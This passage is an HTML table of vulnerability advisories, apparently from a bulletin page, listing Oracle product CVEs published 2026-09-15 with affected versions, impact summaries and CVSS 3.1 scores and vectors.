&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83251&quot; target=&quot;_blank&quot;&gt;CVE-2026-83251&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Communications Cloud Native Core Security Edge Protection Proxy&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Communications Cloud Native Core Security Edge Protection Proxy product of Oracle Communications (component: SEPP). Supported versions that are affected are 26.1.200 and 25.2.201. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Communications Cloud Native Core Security Edge Protection Proxy. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Communications Cloud Native Core Security Edge Protection Proxy accessible data as well as unauthorized read access to a subset of Oracle Communications Cloud Native Core Security Edge Protection Proxy accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83419&quot; target=&quot;_blank&quot;&gt;CVE-2026-83419&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Contract Lifecycle Management for Public Sector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Wage Determination Online). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Contract Lifecycle Management for Public Sector, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Contract Lifecycle Management for Public Sector accessible data as well as unauthorized read access to a subset of Oracle Contract Lifecycle Management for Public Sector accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87169&quot; target=&quot;_blank&quot;&gt;CVE-2026-87169&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Database Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Net Services component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCPS to compromise Oracle Net Services. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Net Services. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83347&quot; target=&quot;_blank&quot;&gt;CVE-2026-83347&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Depot Repair&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Depot Repair product of Oracle E-Business Suite (component: Depot Repair Diagnostics). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Depot Repair. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Depot Repair accessible data as well as unauthorized access to critical data or complete access to all Oracle Depot Repair accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83433&quot; target=&quot;_blank&quot;&gt;CVE-2026-83433&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Enterprise Manager Base Platform&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Event Management). Supported versions that are affected are 13.5 and 24.1. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Enterprise Manager Base Platform accessible data. CVSS 3.1 Base Score 6.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62597&quot; target=&quot;_blank&quot;&gt;CVE-2026-62597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Field Service&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Field Service product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Field Service. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Field Service accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83140&quot; target=&quot;_blank&quot;&gt;CVE-2026-83140&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Field Service&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Field Service product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Field Service. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Field Service, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Field Service accessible data as well as unauthorized read access to a subset of Oracle Field Service accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83198&quot; target=&quot;_blank&quot;&gt;CVE-2026-83198&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Forms. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Forms accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Forms. CVSS 3.1 Base Score 6.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83097&quot; target=&quot;_blank&quot;&gt;CVE-2026-83097&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Forms&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Forms product of Oracle Fusion Middleware (component: Forms Services, C/S, Charmode). Supported versions that are affected are 12.2.1.19.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Forms. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Forms accessible data. CVSS 3.1 Base Score 5.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83109&quot; target=&quot;_blank&quot;&gt;CVE-2026-83109&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Fusion Middleware Control&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Fusion Middleware Control product of Oracle Fusion Middleware (component: Framework). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Fusion Middleware Control. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Fusion Middleware Control, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Fusion Middleware Control accessible data as well as unauthorized read access to a subset of Oracle Fusion Middleware Control accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83346&quot; target=&quot;_blank&quot;&gt;CVE-2026-83346&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle HR Intelligence&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle HR Intelligence product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle HR Intelligence. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle HR Intelligence accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle HR Intelligence. CVSS 3.1 Base Score 6.8 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83076&quot; target=&quot;_blank&quot;&gt;CVE-2026-83076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 6.7 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87248&quot; target=&quot;_blank&quot;&gt;CVE-2026-87248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle iRecruitment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle iRecruitment product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle iRecruitment executes to compromise Oracle iRecruitment. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle iRecruitment accessible data as well as unauthorized access to critical data or complete access to all Oracle iRecruitment accessible data. CVSS 3.1 Base Score 6.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83491&quot; target=&quot;_blank&quot;&gt;CVE-2026-83491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Process Manufacturing Intelligence&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Process Manufacturing Intelligence product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via Oracle Net to compromise Oracle Process Manufacturing Intelligence. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Process Manufacturing Intelligence accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83200&quot; target=&quot;_blank&quot;&gt;CVE-2026-83200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Hub&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Product Hub accessible data as well as unauthorized access to critical data or complete access to all Oracle Product Hub accessible data. CVSS 3.1 Base Score 6.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83441&quot; target=&quot;_blank&quot;&gt;CVE-2026-83441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Product Workbench&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: WebUI). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Workbench. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Product Workbench, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Product Workbench accessible data as well as unauthorized read access to a subset of Oracle Product Workbench accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83431&quot; target=&quot;_blank&quot;&gt;CVE-2026-83431&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox as well as unauthorized update, insert or delete access to some of Oracle VM VirtualBox accessible data. CVSS 3.1 Base Score 6.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87278&quot; target=&quot;_blank&quot;&gt;CVE-2026-87278&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox as well as unauthorized update, insert or delete access to some of Oracle VM VirtualBox accessible data. CVSS 3.1 Base Score 6.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87279&quot; target=&quot;_blank&quot;&gt;CVE-2026-87279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 6.0 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87282&quot; target=&quot;_blank&quot;&gt;CVE-2026-87282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 6.0 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87283&quot; target=&quot;_blank&quot;&gt;CVE-2026-87283&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 6.0 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87285&quot; target=&quot;_blank&quot;&gt;CVE-2026-87285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Difficult to exploit vulnerability allows low privileged attacker with network access via RDP to compromise Oracle VM VirtualBox. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87267&quot; target=&quot;_blank&quot;&gt;CVE-2026-87267&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87274&quot; target=&quot;_blank&quot;&gt;CVE-2026-87274&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle VM VirtualBox accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 4.6 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87275&quot; target=&quot;_blank&quot;&gt;CVE-2026-87275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle VM VirtualBox&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 4.2 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87280&quot; target=&quot;_blank&quot;&gt;CVE-2026-87280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Web Applications Desktop Integrator&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Web Applications Desktop Integrator product of Oracle E-Business Suite (component: File download). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Web Applications Desktop Integrator accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70755&quot; target=&quot;_blank&quot;&gt;CVE-2026-70755&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Cloud Applications&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager). Supported versions that are affected are 22.3-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Cloud Applications. While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Siebel CRM Cloud Applications accessible data as well as unauthorized read access to a subset of Siebel CRM Cloud Applications accessible data. CVSS 3.1 Base Score 6.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83077&quot; target=&quot;_blank&quot;&gt;CVE-2026-83077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
